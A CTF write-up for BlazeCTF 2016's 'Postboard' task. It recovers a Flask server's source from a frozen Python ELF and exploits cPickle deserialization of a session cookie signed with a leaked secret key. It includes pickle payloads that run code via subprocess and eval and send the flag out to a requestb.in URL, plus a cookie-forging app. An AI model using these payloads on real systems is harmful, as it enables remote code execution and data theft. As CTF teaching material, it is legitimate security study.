BlazeCTF 2016 Postboard Writeup

Homepage:

http://ctf.420blaze.in/

Description:

Below you can find my solution for Postboard task from BlazeCTF 2016.

Proof of Concept:

We got ELF file. After checking it in disassembler it seems to be Python to ELF file - Freeze.

At 0x881D40 we can find PyImport_FrozenModules structure:

.data:0000000000881D40 _PyImport_FrozenModules _frozen <offset aBasehttpserver, offset M_BaseHTTPServer, 54C8h>
.data:0000000000881D40                 _frozen <offset aDlfcn, offset M_DLFCN, 0AE6h> ; "ast"
.data:0000000000881D40                 _frozen <offset aFixtk, offset M_FixTk, 7C3h>
.data:0000000000881D40                 _frozen <offset aOpenssl, offset M_OpenSSL, 0FFFFFC53h>
.data:0000000000881D40                 _frozen <offset unk_581FB2, offset M_OpenSSL__version, 0F3h>
.data:0000000000881D40                 _frozen <offset aSocketserver, offset M_SocketServer, 5D7Ah>
.data:0000000000881D40                 _frozen <offset aStringio, offset M_StringIO, 2CAAh>
.data:0000000000881D40                 _frozen <offset aTkconstants, offset M_Tkconstants, 8BCh>
.data:0000000000881D40                 _frozen <offset aTkinter, offset M_Tkinter, 302D6h>
.data:0000000000881D40                 _frozen <offset unk_581FE3, offset M_UserDict, 2212h>
.data:0000000000881D40                 _frozen <offset a_lwpcookiejar, offset M__LWPCookieJar, 158Ah>
.data:0000000000881D40                 _frozen <offset a_mozillacookie, offset M__MozillaCookieJar, 115Ch>
.data:0000000000881D40                 _frozen <offset a__future__, offset M___future__, 10B0h>
.data:0000000000881D40                 _frozen <offset a__main__, offset M___main__, 1525h>
.data:0000000000881D40                 _frozen <offset a_abcoll, offset M__abcoll, 60D2h>
.data:0000000000881D40                 _frozen <offset a_markerlib, offset M__markerlib, 0FFFFFBBFh>
.data:0000000000881D40                 _frozen <offset a_markerlib_mar, offset M__markerlib__markers, 13BFh>
.data:0000000000881D40                 _frozen <offset a_osx_support, offset M__osx_support, 2D0Ch>

Most important file to us is __main__ stored at 0x8C8FE0 size 0x1525.

After dumping this region it looks like .pyc file.

So we add PyImport_GetMagicNumber to it and try to convert .pyc to .py using for example Easy Python Decompiler.

You can also dump all modules using this little python script (credits to 1amtom):

import ctypes
import struct
import functools
import itertools

start_offset = 0x281d40
file_path = r'server'

with open( file_path, 'rb' ) as f:
	f.seek( start_offset )
	for i in xrange( 0, 238-1 ):
		mod_name_offset = struct.unpack( '<Q', f.read( 8 ) )[ 0 ] - 0x400000
		mod_pcode_start = struct.unpack( '<Q', f.read( 8 ) )[ 0 ] - 0x600000
		mod_pcode_size  = struct.unpack( '<Q', f.read( 8 ) )[ 0 ]
		mod_pcode_size  = abs( ctypes.c_int16( mod_pcode_size ).value )

		old_offset = f.tell()
		f.seek( mod_name_offset )

		mod_name = ''.join( [ c for c in iter( functools.partial( f.read, 1 ), '\x00' ) ] )
		f.seek( mod_pcode_start )

		print 'i={0}, Module={1}, Offset=0x{2:X}, Size={3}'.format( i, mod_name, mod_pcode_start, mod_pcode_size )

		with open( '{0}.pyc'.format( mod_name ), 'wb' ) as out:
			out.write( '\x03\xF3\x0D\x0A\x61\x5E\x02\x57' )
			out.write( f.read( mod_pcode_size ) )

		f.seek( old_offset )

So now we have full task source code:

# Embedded file name: server.py
from cPickle import dumps, loads
from flask import *
from os import chroot
import random, string
from encodings import ascii
import encodings
app = Flask(__name__)

class user_entry(object):

    def __init__(self, username, password):
        self.u = username
        self.p = password
        self.t = gentoken()
        return None


class post_entry(object):

    def __init__(self, content, postID):
        self.c = content
        self.i = postID


users = {}
posts = {}
with open('../flagdir/flag', 'r') as f:
    p = post_entry('flag', f.read())
    posts['flag'] = p

def gentoken():
    return ''.join(random.sample(string.ascii_lowercase * 16, 16))


def userExists(username):
    if username in users:
        return True
    else:
        return False


def addUser(username, password):
    if userExists(username):
        return False
    else:
        u = user_entry(username, password)
        users[username] = u
        return True


def checkUser(username, password):
    if not userExists(username) or getUser(username).p != password:
        return False
    else:
        return True


def getUser(username):
    return users[username]


def verifySession():
    if 'auth' not in session:
        return False
    u = loads(session['auth'])
    if not u or u.u not in users:
        session.clear()
        return False
    return getUser(u.u).t == u.t


def getPost(postID):
    if postID not in posts:
        return 'post not found'
    else:
        return posts[postID].c


def getAllPosts():
    s = "<a href='/post'>make new post</a><br><br>"
    s += '\n'.join([ '<a href="/post/%s">%s</a>' % (x, x) for x in posts ])
    return s


def addPost(content, postID):
    if postID in posts:
        return 'Post already exists!\n'
    p = post_entry(content, postID)
    posts[postID] = p
    return app.make_response(redirect('/post/all'))


@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        print request.form
        usern = request.form['username']
        passw = request.form['password']
        if checkUser(usern, passw):
            redirect_to = redirect('/post/all')
            response = app.make_response(redirect_to)
            session['auth'] = dumps(getUser(usern))
            return response
        else:
            return 'login fail'
    else:
        return send_from_directory('.', 'login.html')


@app.route('/register', methods=['POST', 'GET'])
def register():
    if request.method == 'POST':
        if addUser(request.form['username'], request.form['password']):
            return 'register success\n'
        else:
            return 'User Exists\n'
    else:
        return send_from_directory('.', 'register.html')


@app.route('/post/<postID>', methods=['GET'])
def post_request(postID):
    if not verifySession():
        return redirect(url_for('index'))
    elif request.method == 'GET':
        return get_post(postID)
    else:
        return 'what? be nice\n'


@app.route('/post', methods=['POST', 'GET'])
def new_post():
    if not verifySession():
        return 'not authorized!\n'
    elif request.method == 'POST':
        return addPost(request.form['content'], request.form['id'])
    else:
        return send_from_directory('.', 'newpost.html')


def get_post(postID):
    if postID == 'all':
        return getAllPosts()
    elif postID == 'flag':
        return 'This post has been disabled by the admin for being too dank\n'
    else:
        return getPost(postID)


@app.route('/<arg>', methods=['POST', 'GET'])
def index(arg):
    if arg == '':
        arg = 'index.html'
    if not verifySession():
        print 'send file', arg
        return send_from_directory('.', arg)
    else:
        return app.make_response(redirect('/post/all'))


@app.route('/', methods=['GET'])
def index_2():
    return index('')


app.secret_key = 'can_y0u_5Teal_mY+seCr3t-key'
app.run(port=1337, debug=False, host='0.0.0.0')
chroot('.')

Here we need to exploit cPickle.loads which deserialize object from untrusted user input session['auth'] inside verifySession() function.

More info about this kind of attack you can read here.

By default flask sign all cookies when app.secret_key is set.

Lucky to us we have secret value decrypted from ELF file, so we can sign any cookie.

Normally we will simply read ../flagdir/flag file and send it to us using for example:

class GetFlag(object):
    def __reduce__(self):
        return (subprocess.call,
                (['python',
                  '-c',
                  'import urllib2;'
                  'flag = open("../flagdir/flag").read();'
                  'urllib2.urlopen("http://requestb.in/xxxx?f="+flag)'],))

But it won’t work. Why? Because of chroot('.') - we are inside chroot jail.

So instead of reading files we need to read flag from global posts variable using eval().

For signing cookie I create small Flask app which encode payload and create valid cookie:

from cPickle import dumps
from flask import *

app = Flask(__name__)

class GetFlag(object):
    def __reduce__(self):
        return (eval,('__import__("urllib2").urlopen("http://requestb.in/xxxx?f="+posts[\\'flag\\'].i)',))

@app.route('/', methods=['POST', 'GET'])
def index():
    session['auth'] = dumps(GetFlag())
    return 'OK'

app.secret_key = 'can_y0u_5Teal_mY+seCr3t-key'
app.run(port=1337, debug=True, host='0.0.0.0')

So now we open http://localhost:1337 in browser, read session cookie value and then send new request to task server.

GET /post HTTP/1.1
Host: here_task_ip:1337
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) 
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: session=here_cookie_value
Connection: close

Timeline: